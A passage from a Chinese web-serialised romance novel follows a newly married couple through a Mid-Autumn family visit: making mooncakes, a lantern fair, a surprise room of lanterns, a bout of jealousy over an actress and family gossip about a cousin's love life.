魏云舟见时间差不多,本来也要出门找她,刚到影壁墙,就看到了她的信息。 踏出大门,孟竞帆和程逾已经不吵了,只是脸色不太好看。 “云舟。”孟竞帆看到他,朝他招招手,“你来评评理。” 他哪里有空评理,魏云舟皮笑肉不笑:“大哥,你让个道,挡着人了。” 孟竞帆下意识转身,看到了干笑的祝卿月。 程逾“哎呀”一声:“不好意思,没看见你。” 祝卿月摇摇头:“我没好意思打扰你们。” “别理他。”程逾笑道,“走,回家说。” “好的,大嫂。” 经过孟竞帆时,祝卿月朝他微微鞠躬。 两兄弟落后一部,魏云舟嗤笑:“你多大的人了,怎么总惹她不开心?” “你媳妇要是不听你的话,吃了冰淇淋后,半夜两点吐得死去活来的,你恐怕比我还要冷脸。” “那也没必要在大门口吵起来,除非你又想上热搜。” “……”孟竞帆一时无语,他在雁清屁大点的事都能上热搜,习惯了。 程逾带着祝卿月进了院门,正好碰到孟棠和谢莹,两方打了招呼后,就在院中的石桌旁坐了下来。 兄弟俩没了位置,站在一旁闲聊。 “这次回来真的要停工?”魏云舟问。 孟竞帆点了点头:“小鱼想要孩子了。” 魏云舟将目光落在祝卿月身上,不知道他俩什么时候有孩子。 “诶,”孟竞帆抵了抵魏云舟,“是不是对人家特满意?” 魏云舟转头轻嗤:“你对你老婆不满意?” “我跟你情况又不一样。”孟竞帆一脸我还不知道你的表情,“我跟你小鱼姐是打小的情意,我对她自然满意,但你和弟妹可不一样啊,你俩是先婚了,就是不知道有没有爱。” 爱?魏云舟轻嗤:“你以为这世上有那么多丰沛单纯的爱情?我们对彼此有好感,不厌倦,能携手一辈子,已经比很多人的一生都要强了。” “哦。”孟竞帆故意托了声,“你真伟大,可以接受老婆不爱你。” 魏云舟哽了下,半晌才道:“我不像你,整天腻腻歪歪的。” “呵呵……有本事你这辈子别跟你老婆腻歪。” “我可不是你。” “你俩嘀嘀咕咕说什么呢?”程逾回头见他俩要掐起来了,出声提醒,“孟竞帆,来给月月签个名。” 孟竞帆一愣:“我啊?” “不然我吗?她朋友喜欢你。”程逾“啧”了声,“你去房间拿一张照片,签上名就行。” “行。” 魏云舟走到祝卿月身边,小声问:“给谁要的?” 别是给自己要的。 “你认识——” “丁怡?”魏云舟插嘴,“她喜欢孟竞帆?” “呃……不是。” “不是?”魏云舟惊讶了一瞬,“那是谁?你还有什么朋友是我不认识的吗?” “宋潭啊。”祝卿月笑着说,“你认识的。” “他一个大男人要什么签名照。”魏云舟吐槽。 祝卿月:“那怎么不能要了,大哥演技那么好,也有男粉的好吧,你自己不也在家看。” 魏云舟:“……” 程逾失笑:“你来也有点对抗路精神。” “没有没有。”祝卿月笑了笑,“他是一家之主。” 可不是一家之主,以后整个魏家都是他说了算。 “你在跟我玩抽象还是认真的呢?”程逾来回将他俩看了好几遍,“魏云舟也不是大男子主义的人啊。” 他确实不是,祝卿月说:“我开玩笑呢。” “你吓我一跳。”程逾说,“我刚才见你那神情,似乎不是开玩笑。” 其实程逾没看错,祝卿月在那一瞬间确实下意识觉得做主的是魏云舟。 归根结底还是她在这个家里的话语权。 让佣人今晚煮什么菜这不叫话语权,而是她有没有资格和魏云舟站在同一个台阶上。 祝卿月不太敢肖想,她小的时候就知道一个道理:不要对任何人有过多的期望,最后回报给你的只可能是失望。 她对魏云舟动了点心思,这是她的事,不管最后结果怎么样,她都不会后悔的。 她只想享受每一份当下的快乐,及时行乐才不枉人生一场啊。 这章没有结束,请点击下一页继续阅读!稍作休息后,一家人进了餐厅。 程逾和孟竞帆都不是安静的人,餐桌氛围因为他俩的加入热闹了不少。 祝卿月很喜欢和程逾聊天,对方热情爽朗,讲话也挺搞笑的。 “要不是小鱼姐去休息,你俩还能聊多久?”魏云舟问,语气有些酸。 “她真的好厉害,像一套百科全书。”祝卿月眼睛里明晃晃的佩服,“我跟她讲拍摄的相机,她也说的头头是道。” “小鱼姐什么行业都有涉猎。”魏云舟说,“也就我大哥敢和她吵架。” 这么多年,他就没见谁赢过程逾的嘴皮子。 祝卿月利落地爬上床,说:“明天就是中秋节,你们不需要回z市吗?” 毕竟z市还有两位老人。 “今年不回,家里还有姑姑她们陪着。” 而且孟棠和魏川时不时就回去,有些节日,他们就顺其自然了,没有说一定要凑一起过。 “现在很多节日都没意思,你们这边有什么好玩的吗?”祝卿月翻了个身,双手托腮看着他。 魏云舟一言不发回视她:“躺下来我告诉你。” 祝卿月信了他的话,和他面对面躺着,眼神期待,结果他又用那双侵略性十足的眼神将她吻了一遍。 这个眼神,祝卿月已经十分熟悉了,是要她亲的意思。 祝卿月却哼了声:“不说拉倒,我明天问大嫂,到时候我俩出去玩。” “你把大哥放在哪里?”魏云舟失笑,“他一定会跟着。他跟着你俩就别玩,因为他很快就会被认出来,造成交通堵塞,所以小鱼姐不会跟你一起出门。” “太霸道了吧。”祝卿月瞪着眼睛,“出门都不行?” “出门当然行,不过要看什么事,她自小就在雁清长大,什么东西没见过没玩过,没新鲜感了。”魏云舟忽悠她。 “所以你还不如选我,我对雁清的开发程度正好能带你开心地玩一遭。” 祝卿月半信半疑:“你别是在骗我。” 魏云舟往前靠近,鼻尖几乎抵着她的鼻尖:“我骗你有糖吃?” “有没有糖我不知道,”祝卿月低着声音,“我只知道你的眼神要吃人。” 魏云舟托住她的腰,将她往上一扯,唇擦过她的嘴角,气息交融,他轻笑一声后,堵住了她的唇舌。 祝卿月的心脏又砰砰跳个不停,每次接吻,心脏都要从嗓子眼跳出来似的。 两人稀里糊涂地吻在一处,再稀里糊涂地摸摸抱抱,但始终没有再进一步。 即便领了证,祝卿月对于她和魏云舟的感情定位还是模糊。 没了一开始的拘谨和陌生,多了点暧昧的接触和眼神,但又始终隔着那么一层看不见的东西。 她不知道那是什么,只知道在魏云舟亲她的时候,除了不正常的心跳之外,还有那么点失落。 莫名其妙的失落,祝卿月觉得烦,搂住他脖子回吻,魏云舟一愣,扣住她后脑勺加深了这个吻。 明月高悬,在院中洒下一片寂静的光辉,不知道过了多久,两人才松开彼此。 祝卿月的嘴巴都有些红肿,亲吻令人上头,她脑子晕乎乎的,像缺了氧。 魏云舟看着她,唇边带着笑意。 祝卿月知道他在看她,却不敢回视,她故意嘟囔了一句“睡觉了”,魏云舟才把她搂住拍了拍。 翌日一早,院子了传来几声低语,见魏云舟还在睡,她想起床出去看看。 也不知道哪来那么多的好奇心,就在跨过他时,魏云舟一个翻身,她直挺挺坐在了他腰腹上。 屁滚尿流就要下床,被魏云舟一把扯到了身下,天旋地转中,她看到了这人的坏笑。 “你干嘛。”祝卿月抬腿踢他。 魏云舟埋入她颈窝,咕哝了一句:“再睡会儿。” “妈和大嫂在院里,我想起床看看。”祝卿月说。 “她俩练八段锦呢,没什么好看的。”魏云舟不愿意让她起床。 没一会儿,院中又传来谢莹的声音,听着像加入了八段锦大军。 祝卿月说:“大家都起了,就我一个人还在睡,是不是不太好?妈会不会嫌弃我懒?” “你在搞什么抽象?”魏云舟也没了睡意,“妈怎么会嫌弃你懒。” 祝卿月推他:“你好重啊,赶紧起来。” 院中人声越来越多,突然,窗口被人轻轻敲响,祝卿月和魏云舟同时一愣。 “魏云舟,还睡懒觉呢。”孟竞帆贱贱的声音从窗口传来。 魏云舟恼羞成怒,拿了枕头砸过去:“你是不是有病?” “哈哈……”孟竞帆朗声大笑,“起床了,太阳晒屁股了。” 魏云舟:“……” 祝卿月噗嗤一笑:“你在这里比在z市有活人感。” “我在这里只会被气死。”魏云舟翻身起床。 祝卿月也麻溜地穿了衣服,两人简单洗漱后加入了八段锦大军。 一家人整整齐齐,一个不少。 稀里糊涂地做完,祝卿月都出了一身的汗,稍作休息后,一家人开始吃早餐。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!祝卿月喜欢吃家里阿姨做的小笼包,魏云舟拿了一笼在她面前。 “今天晚上你们有什么活动?”魏川突然问了一嘴。 “没什么活动啊。”孟竞帆抬头,“还是有什么活动,你们没通知我。” “没通知你不是应该的吗?”魏川说,“晚上我们一起去街上转转,你留在家里看门。” “我不要。”孟竞帆哼了声,“除非让小鱼陪我在家。” “你长得帅是吗?”程逾呛他,“我就要出去,你留在家里看门,除非你易容,不然准被认出来。” 甚至还有的粉丝故意来雁清的大街小巷堵人,都把孟竞帆性格摸透了。 魏云舟幸灾乐祸:“我同意大哥留下来看门。” “……魏云舟,你是不是皮痒?” “说的好像你能打过我一样。” 祝卿月抬眸,怎么?孟竞帆打不过魏云舟吗?可孟竞帆看着比魏云舟壮实。 “好了,你俩凑一起除了吵还是吵。”孟棠呵斥了声,转头对谢莹说:“见笑了。” 谢莹笑道:“可太热闹了,不像我和月月两个人,冷清得很。” 这样的画面看着太有意思了,这一趟雁清没有白来。 每个地方的中秋活动都不太一样,雁清传统的民俗倒是有不少,尤其是非遗一条街开起来后,街区设置了古代生活的体验区。 打马吊、投壶、皮影戏……影视剧中能看到的,这里基本都有,也是雁清逢年过节最热闹的地方,很多人会穿着汉服去打卡拍照。 祝卿月一听,瞬间来了兴趣。 程逾笑着问她:“你要不要穿汉服打卡?” 祝卿月摇了摇头:“我不行,受不了所有人的目光集中在我身上。” 程逾被她逗笑,真的美而自知啊。 祝卿月不好意思地笑了声:“我开玩笑的。” “没开玩笑,你长得确实漂亮,因为孟竞帆的缘故,我也见过不少漂亮的女明星,你的颜值不输他们。” 魏云舟这个颜控,怪不得能和祝卿月结婚。 “祝卿月。”魏云舟在厨房门口喊她,“阿姨在做月饼,你要来试试吗?” 一听是手工活动,祝卿月立刻起身:“来了。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第320章 先婚后爱(17) 程逾见祝卿月去厨房做月饼,自己索性也跟了过去。 阿姨拿了好多样式的模具,祝卿月看上一个凯蒂猫图案的。 魏云舟又给她拿了几个模具,说:“这个玉兔捣药的模具,还是我妈用木头刻的,家里的老物件了。” 祝卿月用指腹摸了下,问:“这些不会都是妈雕刻的吧?” “我和师父一起雕刻的。”程逾笑道,“你看到的卡通模具都是我刻的。” “好可爱,也好精致。”祝卿月说,“我喜欢这只凯蒂猫。” “你试试。”程逾给她拿了一个阿姨准备好的面皮,“把豆沙包在面皮里,揉搓成团,用模具压一下就好了。” 祝卿月按照她说的做,只是揉着揉着,白色面皮和豆沙的馅儿融到了一起,显得很脏。 “呃……”祝卿月看向程逾,“这怎么办?” “没事,一样吃。”程逾说,“就露出来一点。” 祝卿月点点头,信心满满用模具按压出一个凯蒂猫的图案。 很成功,即便没什么是自己动手做出来的,但成就感依旧满满。 “快看。”祝卿月给魏云舟显摆,“好看吗?” 魏云舟也没扫兴,笑着点了点头:“好看。” “啧啧啧。”魏云舟抖了抖肩膀,“谁看见了我的鸡皮疙瘩。” “鸡皮疙瘩没有,只有擀面杖。”程逾在桌上敲了敲,“你要体验一下吗?” 擀面杖倒不是做月饼的,而是做其他的面点。 孟竞帆往后躲了下:“你还是让面皮体验吧。” 祝卿月看着阿姨把面粉筛进糖浆混合物里,笑着问:“有什么需要帮忙的吗?” 阿姨想了想,说:“小鱼和面团,你揉馅吧,我都做好了。” 这个几乎没什么技术含量,祝卿月也做得起劲,见魏云舟一直在一旁看着,抬眸瞥他:“你不来帮忙吗?” “有你还不够添乱的?”魏云舟失笑。 祝卿月哼了声,瞥见程逾在弄面粉,伸手抓了点,撒了魏云舟一脸。 “哈哈哈……”程逾指着他,“不会说话的就该泼面粉。” 魏云舟盯着祝卿月,慢条斯理擦了下脸颊上的面粉,但这东西不太好弄,掸了半天也没弄干净。 程逾接过祝卿月手中的活,说:“你去给他弄一下,好像弄眼睛里去了。” 魏云舟眨了眨眼,祝卿月忙问:“真弄眼睛里了?” “嗯。”魏云舟应了声,刚要去揉,被祝卿月拦住:“别揉啊,会弄伤眼睛,我给你用清水冲洗一下吧。” “好。” 屋里屋外都有水池,祝卿月带着他去了外面。 “弯腰。”祝卿月脸色完全没了笑意,暗恼自己没轻没重。 魏云舟的眼睛有点红了,祝卿月内疚不已,一边给他冲洗,一边说:“对不起啊。” 魏云舟一愣,说对不起干什么? 他抬手抹了把眼睛,笑着问:“你道歉干什么?玩闹而已,我就这么没肚量?” 祝卿月说:“但眼睛是脆弱的地方,我没注意到。” “没事,”魏云舟安慰她,“你帮我看看红不红?” 其实一点感觉没有,他就是想转移一下祝卿月的注意力。 祝卿月一门心思给他看眼睛,那点子愧疚被他成功转移。 “有点红。”祝卿月对着他的眼睛吹了下,“你难受吗?” “不难受。” 祝卿月捧住他的脸,对着他眼睛吹了瞎:“真的不难受啊?” “不难受。”魏云舟拉下她的手,“进去把你的月饼做完。” “好。” 每年中秋,程逾都会亲自动手做两款月饼,也不能说是做,而是雕。 她自创的一种新花样,只放在家里吃。 一会儿的工夫,她在面点上雕出一朵牡丹花,惊得祝卿月朝她竖起大拇指:“太厉害了!” 这些对程逾来说是小菜一碟,她吃的就是这碗饭,祝卿月也不妄自菲薄。 剩下的活计就交给阿姨了,祝卿月怕自己烤不熟或者烤糊掉。 等月饼的间隙,程逾泡了茶水。 他们做的咸香月饼居多,配了乌龙茶。 程逾和孟竞帆幼稚地面对面而坐,用脚故意踹对方,你一下我一下玩得不亦乐乎。 祝卿月和魏云舟大眼瞪小眼。 “你也想玩?”魏云舟挑了下眉。 谁想玩,祝卿月摇了摇头,她又不是三岁。 魏云舟给她倒了杯茶,说:“孟竞帆是幼稚鬼,就喜欢招惹小鱼姐,他俩没有安静的时候。” “不好吗?”祝卿月啜了口茶水,“热热闹闹的。” 魏云舟意识到祝卿月喜欢热闹,说:“雁清稍微有点人情味,你要是喜欢,可以常来常住。” “这可是你说的。”祝卿月指着他,“你忙的时候,我一个人也可以过来吗?” “当然。”魏云舟点了点头。 闲聊的工夫很快过去,月饼出炉了,祝卿月闻到了一股浓郁的香气。 她起身从窗口看,月饼的表面渗着油光,色泽明亮。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!其实祝卿月倒没多喜欢吃月饼,只不过自己参与了,又是刚出炉的,必然要尝两块的。 不过拿出来也要放凉20分钟左右,这样酥皮的香气会更有层次感,入口酥脆,内馅的风味也能更好释放。 很快,温度差不多的时候,阿姨每个月饼切了半块,又把半块切成四份端了出去。 魏云舟给祝卿月叉了一块蛋黄鲜肉的过去:“尝尝看好不好吃。” 祝卿月咬了一口,咸甜交织,口感挺丰富的。 魏云舟自己吃了一块莲蓉的,饼皮十分酥脆,口感也细腻。 他点了点头,觉得祝卿月喜欢吃,让阿姨将剩下的半块拿了过来。 倒不是阿姨不给他们吃,月饼重油重糖,还是得少吃,尝个味儿就行。 “诶,这好像是我做的。”祝卿月抵了抵魏云舟,“颜色有点脏。” 但因为切开了,她也有点分辨不清。 算了,还是直接吃吧,祝卿月直接将月饼塞进了口中。 “嗯,好吃。” 剩下的月饼阿姨在包装,今天已经是中秋,不可能是送人,只能是自己吃了。 不过她听程逾说,今年月饼做迟了。 “你们都吃上了。”孟棠从外头回来,闻了满鼻子的香。 程逾忙招呼他们过去,小辈吃得差不多了,这下轮到长辈了。 直至天彻底黑了,一家人出了门往最热闹的街上去。 祝卿月回眸看了眼哀怨的孟竞帆,跟魏云舟说:“真把大哥留下啊,我还以为你们开玩笑的呢。” “你知道他的路人粉哪里最多吗?”魏云舟问。 “雁清?” “对,他在雁清上的最多的热搜就是关于偶遇。” “……” “不用可怜他。” “……” 到了街上,灯火通明,人头攒动,祝卿月肩膀被撞了下,随后被魏云舟搂着走。 魏云舟指了指前面,说:“那儿有卖糖人的,你要去凑热闹吗?” “走,来都来了。” 祝卿月一把将人拉了过去,老头的摊位旁只有几个孩子,祝卿月等了会儿,让老头画了他和魏云舟。 你别说,还挺形象。 祝卿月举着糖人,转头笑了声:“肯定吃不掉,是不是会化掉?” “天气热就会化吧。”魏云舟说,“少吃一点。” 祝卿月嘎嘣咬下糖人的头。 往前又走了几个摊位,祝卿月看到程逾提着一盏兔子灯往回走了。 到了跟前,她对祝卿月说:“师父迎来的,给你,喜欢吗?” “喜欢,这个灯很漂亮,猜谜赢来的吗?”祝卿月问。 “是猜谜。”程逾说,“太小儿科。” 哪里小儿科了?在祝卿月看来是很厉害的事。 兔子灯灵动可爱,祝卿月转头夸赞:“我有一种雁清人的手都很巧的感觉。” “那你想多了。”魏云舟说,“这些都是批发的,还真指望卖家一个个给你手工做,那样会亏死。” 街上有太多好看的灯,螃蟹、虾、鱼……祝卿月每个都会驻足观看。 她回眸问魏云舟:“这些应该是手工的吧,看着比我手里的精致。” “嗯,你要吗?”魏云舟伸手就要付钱。 “诶诶,不要不要。”祝卿月拦住他,“我已经有一个了,怎么能三心二意。” 魏云舟轻笑:“买个灯而已,扯什么三心二意。” 他还是付了钱,祝卿月看着两人两手拎着的灯,说:“咱俩这下还怎么逛街?” “你先跟小鱼姐逛,我找人把这些东西送回去。”魏云舟说。 “找谁送啊?” “我自有办法,你去吧。” 祝卿月将信将疑地走了。 魏云舟来到一个卖灯的摊位前,摊主热情地跟他打招呼。 是隔着两家的邻居,魏云舟在他摊位上买了几个不同样式的,摊主立刻找来一旁玩耍的两个儿子,让他们把魏云舟的花灯全都送回去。 魏云舟道了声谢,转头给孟竞帆发了条信息:【在家没事,帮我办件事?】 孟竞帆真被气笑了,被老婆抛弃,又被兄弟使唤。 得得得,全家就他一个苦命人,反正闲着,那就找点事干。 见他答应,魏云舟跟上大部队。 祝卿月见他手中空了,问:“你让谁给你送了?” 魏云舟说:“有邻居也在摆摊,我买了几盏灯,他们帮我送回了,让我能空手逛街。” “还挺聪明。”祝卿月反手拍了下他的胸口。 这就聪明了?魏云舟哭笑不得,眼见快要逛到头了,他问祝卿月:“还有没有什么要买的了?” “没有。”祝卿月摇摇头,“这样的地方其实逛逛就很好了。” “那我提前走吗?”魏云舟拉住她手腕,“带你从另一条安静的路回去。” 祝卿月平时没有步行的经验,出门都靠车,这会儿脚确实有点疼,她问:“抄小路吗?” “算是吧。” “行,那你跟妈他们说一声。” 魏云舟直接和程逾说了,程逾摆了摆手:“先回吧,我再逛逛。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!魏云舟应了声,牵着祝卿月离开了市集。 渐渐没了灯光,祝卿月下意识往魏云舟那边靠了靠:“走哪儿来了?你不会给我卖了吧?” “……脑子里想什么呢?那么瘦,卖都卖不了好价钱。” 祝卿月一把揪住他手背,疼得魏云舟皱眉,立刻说:“这条路通老宅后门,我让大哥给我们留了门。” 祝卿月这才松开他,又下意识在自己揪的地方揉了揉。 魏云舟嘴角勾起:“没事,不疼。” 这副模样要是给熟悉他的人看到,怕是又要睁大双眼,不可置信地看着他。 “有点黑。”祝卿月可怜兮兮地说了句。 “怕黑?”魏云舟脚步一顿,两人停了下来。 这里黑到几乎看不到彼此的面部轮廓,祝卿月往他怀里靠:“走的什么路啊。” “我把手机的灯打开吧。”魏云舟说,“也就这百十米暗一些。” 祝卿月也开了手机的灯,这才勉强看清四周,他们正处在两栋房子之间。 里面黑灯瞎火的,看着像没人。 有了手机的灯,路就好走得多。 终于穿过巷子时,祝卿月窥到了路灯,他们走到了大路上。 见祝卿月松了口气,魏云舟不经意地问:“很怕黑?” “是啊。”祝卿月点点头,“算是一点童年阴影吧,小时候犯错被关过。” 魏云舟蹙眉:“因为什么事?” 祝卿月哂笑:“打破了大伯母珍爱的花瓶。” 东西再贵却是死物,怎么跟人相比?魏云舟理解不了这种惩罚。 可他又不知道怎么安慰,说什么都显得空白,毕竟经历这些事的不是他。 “先回家。”他最终还是牵起祝卿月的手,说了这么一句。 又走了二十分钟,两人终于摸到后院的门。 孟竞帆闲得无聊,一直在等他俩,见到人,当即就问:“小鱼没回来?” 祝卿月摇了摇头。 “我去找她。”孟竞帆哼了声,“这个心狠的女人。” 祝卿月:“……” “不用管他。”魏云舟反手锁了院门,“估计也憋到极限了。” 祝卿月小幅度地踢了下脚,缓解酸痛。 魏云舟瞧在眼里,说:“泡个脚吧,去去乏。” “好。”祝卿月跟着她往中院走,看到房间亮着灯,好奇地问魏云舟:“我走的时候不是关了灯吗?” “进去看看不就知道了。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第321章 先婚后爱(18) 祝卿月没敢往里走,拽着魏云舟的手腕,又保证了一遍:“我真的关灯了,不会有人闯进来吧?” “不会。”魏云舟推着她往前走,“大哥在家。” 祝卿月顺着她的力道往前,他们的房间像酒店的套间,是有小客厅的,越过之后才是卧室。 魏云舟突然捂住祝卿月的眼睛,单手推开了门。 “不是,你捂我眼睛干——”祝卿月的话止在喉咙,卧室里摆着几座灯架,每一座灯架上都是她今晚买的花灯。 “什么啊。”祝卿月语气很惊喜,“动物开大会吗?” 卧室里是没有开灯的,只有花灯亮着,光线莹润,照得人仿佛带了一层滤镜。 “你什么时候准备的?”祝卿月侧眸,“你也没回来啊。” “大哥弄的。”魏云舟转了下鱼灯,“他当时答应得还蛮快,我还以为他会敲诈我一笔。” 祝卿月:“……” 他被程逾抛弃的这个夜晚,还要帮他弟弟搞浪漫? 祝卿月作为受益人,一时感慨万千。 “这些灯,今晚不要关。”魏云舟说,“床上有帘子,晚上睡觉不会刺眼。” “好。” 祝卿月拿了衣服去浴室洗澡,洗澡的时候,她的嘴角一直上扬,好心情显而易见。 魏云舟其实是个浪漫的人。 洗完澡换了衣服,祝卿月回了卧室,平时不爱玩手机的魏云舟破天荒地在看女明星跳舞的视频。 这个女明星,祝卿月认识,是孟竞帆曾经一个剧的女主角。 每个人都有喜欢明星的权利,这很正常。 祝卿月越过他,爬上了床。 魏云舟还在看同一个视频,祝卿月实在没忍住,问他:“你不去洗澡吗?” “待会儿,我把这些看完。” 祝卿月看他点进了人家的主页,从第一个视频往下看。 祝卿月翻过了身,轻轻哼了声。 魏云舟后知后觉放下了手机,问:“怎么了?” 还知道她在呢?祝卿月在心里冷笑一声,嘴上却道:“没事。” 这像没事的样子吗?魏云舟倾身,祝卿月直接躲开了他的视线。 魏云舟判定这是生气了,可他什么也没做啊? “祝卿月,有什么事就说,不要让我猜。” “你爱猜不猜。”祝卿月也来了脾气,“我又没让你猜,我困了,睡觉。” 带着气睡觉伤身体,魏云舟无奈地将她拉起来,可祝卿月故意直挺挺地躺着。 魏云舟的手机还在播放刚才的视频,他突然灵光一闪,悟了祝卿月生气的原因。 半晌,魏云舟问:“你认识沈羽澜吗?” 祝卿月怎么可能不认识,可一听魏云舟得寸进尺,生气道:“不认识。” “跟大哥拍过谍战剧,年纪挺小的,演技倒是不错。”魏云舟自顾自地说,“你不是跟我看过吗?没有印象了?” “魏云舟!”祝卿月发飙了。 “啊?”魏云舟看向她,“怎么了?” 还怎么了?祝卿月蹭一下坐起来,瞪着他问:“你是不是喜欢人家啊?” 魏云舟说:“我可不敢喜欢。” “你这语气还挺遗憾的?”祝卿月拿起他的手机,“从我出浴室你就在看,看了半小时了,竟然还问我认不认识,我认识怎么样,不认识又怎么样?” “不怎么样。”魏云舟轻笑,“我看是有原因的,别吃醋了。” “谁吃醋了?”祝卿月梗着脖子。 “行,没吃醋。”魏云舟明显不信。 祝卿月快气炸了,缓了半晌,突然问他:“她好看还是我好看?” 魏云舟失笑,这是什么重点? 他的目光落在她脸上,似乎在比较她和沈羽澜到底谁好看。 祝卿月泄气垂眸:“算了,毕竟是大明星,我还是比不上的。” “你好看。“魏云舟突然一本正经地说。 “哄谁呢。”祝卿月心里不太得劲,又直直躺了下去。 “你知道赵景然吧?” “知道。”祝卿月托着尾音,“不是小姑家的儿子嘛,跟你是表兄弟。” “他不知道怎么跟沈羽澜认识了,非得追人家,小姑非让我和大姑看一下这个女明星,看看人品怎么样。” “啊?”祝卿月呆了,“赵景然喜欢沈羽澜?” “嗯。”魏云舟点了点头,“所以某些人,醋可以不吃了。” “都说我没吃醋。”祝卿月嘴硬,“小姑让你看,你就光看视频,看出门道了?” 魏云舟摇摇头:“还得当面看。” “……” 见她又要往下棠,魏云舟一把拉住她的手腕,笑道:“其实是让我做个背调,我呢,待会儿回来问问大哥。” “对啊,大哥跟人家认识,你怎么上赶着去看人家视频了?”祝卿月一下抓到重点。 “打了,大哥在外面没什么心思,让我先看。” 祝卿月:“……” “好了,我去洗澡。”魏云舟就要起身,却发现祝卿月的腿压在他腿上,不让他动弹。 嗯?这是什么意思? 本小章还未完,请点击下一页继续阅读后面精彩内容!看了半天的视频什么也没看出来,祝卿月哼了声:“我是不是真的没有那个女明星好看?” “……你对好看的定义是什么?”魏云舟轻声询问。 祝卿月抬头看着他,两人离得近,她发现魏云舟的瞳孔比一般人黑,看人时摄人心魂,总要下意识偏开视线,可这次,祝卿月顶住了他的眼神。 祝卿月哪里知道好看的定义是什么,审美是主观的事,她只是想知道她在魏云舟的心里是什么样子罢了。 魏云舟没有和她纠缠谁好看的问题,只说: “对我来说,别人好看跟我没什么关系,你以前在祝家过的什么日子我没管着,以后在任何地方,只要你需要,我都会给你兜底,明白吗?” 祝卿月愣愣点头,刚才飘着的心一下落到了实处。 这样的承诺比口头的夸奖要重的多。 “你为什么对我这么好?”祝卿月终究还是问出了这句话,“是因为我们结婚了吗?” 魏云舟点点头:“当然,夫妻荣辱一体,我对你好是应该的。” 其实这样的答案已经很好了,但祝卿月还是有点失落,矛盾的是:她甚至不知道魏云舟要给出什么样的答案她才会满意。 心烦意乱,祝卿月松开腿,说:“你去洗澡吧。” “不气了?”解释清楚,魏云舟倒不急着走了。 “本来就没气。”祝卿月嘀咕。 魏云舟哼笑:“没气。” “赶紧去洗澡啊。”祝卿月想要一个人静静,便催促他。 魏云舟不再磨蹭,心情极好地进了浴室。 祝卿月翻来覆去几分钟,打开手机找丁怡聊天,丁怡是个夜猫子,这个点肯定是醒着的。 可输入了一段文字后,祝卿月又删除了,她撩开床帘,支起窗户,看今晚的月亮。 没一会儿,院中热闹起来,是程逾他们回来了。 见她窗户开着,程逾轻轻扣响:“云舟?你们睡了?” “还没。”祝卿月一下坐了起来。“ “那我帮你们把窗户放下,这样睡觉容易着凉。” “好的,谢谢。” 程逾将窗户放下后,大家各自回了房间。 魏云舟洗完澡,见祝卿月还没睡,笑道:“等我吗?” “大哥他们回来了。”祝卿月指了指外头,“我听到声音了。” 魏云舟一边擦头发,一边给孟竞帆打了电话,让他两口子过来一趟。 随后,他问祝卿月:“你是一起听听,还是睡觉?” 祝卿月立刻起身套了外套:“我一起听听吧。” 敲门声响,魏云舟开了门,将两人迎进来,程逾瞥了眼卧室,看到满屋的花灯,笑道: “呦,咱们小魏总是真的浪漫啊,我以前怎么没看出来你还有这细胞?” “你看出来还得了?”孟竞帆拆台,“这种浪漫的事肯定要对着特别的人。” “我不知道月月特别吗?要你说。”程逾踢了他,“赶紧往前走,挡到我了。” “个子高点我不就挡不到你了。” “孟竞帆,你找死是不是?” “您请您请。” 魏云舟无奈地摇头,拽住祝卿月安置在自己身边,省得被他俩传染了。 “别闹了,小姑都快被赵景然的事烦死了。”魏云舟说,“还让我背调,她一个开娱乐公司的让我去给她背调,你说离不离谱?” “离谱。”孟竞帆呵笑,“所以我都没搭理,她就是一万个不放心,自从赵景然被伤过一次,差点丢了命之后,她就风声鹤唳了。” 还有这样的事?祝卿月感觉自己嗅到了豪门秘辛。 她抵了抵程逾:“怎么回事啊?” “赵景然因为情伤闹过自杀。”程逾小声嘀咕,“这事没传出去,被压下来了,不然就凭小姑的身份,怎么也得被报道一番。现在赵景然喜欢上一个血雨腥风体质的女明星,小姑不是担心嘛,急病乱投医来了。” 赵景然,祝卿月见过一次,长相很秀气,只不过性格有些木。 跟女生说话会害羞,会脸红,除了和魏云舟他们说说话,基本没社交。 “谈多久分的啊?”祝卿月有点好奇。 “七年。”程逾比了个手势,“高中就谈了,人家女生已经结婚了。” 祝卿月:“有原因吗?” 程逾:“当然有啊,那女的花了景然不少钱,分手之前连续一年多,每天消费都超额,如果她自己用也就罢了,带着全家一起,相当于景然要养她全家,如果正常一点也罢了,偏偏对方心安理得,因为这事,小姑每次都说景然眼光差,这次竟然喜欢了一个女明星,小姑还不得气晕啊。” “她有什么好晕的,沈羽澜要是能嫁给景然,是他赚了好嘛。”孟竞帆插了句嘴。 祝卿月侧眸:“大哥,这位沈小姐,人很好吗?” “人好不好我不知道,因为私下里我俩也不熟,只是拍戏时候的同事关系,但据我所知,沈羽澜无亲无故,一个人在演艺圈打拼,有如今的地位不简单,不过……” 本小章还未完,请点击下一页继续阅读后面精彩内容!“不过什么?”祝卿月又问,姿态迫切,搞得孟竞帆一愣。 魏云舟忍着笑,被祝卿月在茶几下踢了一脚。 “不过沈羽澜这个人很不好接近,冷得很,她和竟然认识我也惊讶。”孟竞帆说,“圈里不少人喜欢她,但都不敢出手。” “确实长得漂亮。“祝卿月说,“魏云舟看人家视频看了半个小时。” 魏云舟:“……” “哦?”孟竞帆幸灾乐祸,“你看人家视频看了半个小时?看来她长在你审美点上。” “我只是在找她和赵景然认识的时间段而已,结果什么也没发现,我目前的结论是她不喜欢景然。” “但景然可是一根筋。”孟竞帆说,“你别轻易下结论。” 魏云舟耸肩:“小姑其实比我们还了解她,你明天跟她打个电话吧,就说我老婆吃醋,这事我不插手了。” “谁吃醋了。”祝卿月推了一把魏云舟,“你别拿我挡枪。” 祝卿月脸颊发烫,一看就是嘴硬,孟竞帆朗声笑道:“okok,我知道了,这个理由真好用,可惜啊,小鱼不爱吃醋,不然我也有理由做甩手掌柜的。” 程逾“啧”了声:“好歹自家表弟,做什么甩手掌柜?” “感情的事我怎么惨和啊。”孟竞帆叹气,“小姑在圈里这么多年,能不知道沈羽澜的为人吗?不过是怕人家看不上景然,故意做阻拦的样子,怕伤害竟然罢了。” “她这样也不行啊。”程逾也跟着叹气,“明年让师父找小姑聊聊吧,我们晚辈又不好说什么。” “行吧,明天我跟妈说。”魏云舟起身,“不早了,你俩睡觉去吧。” 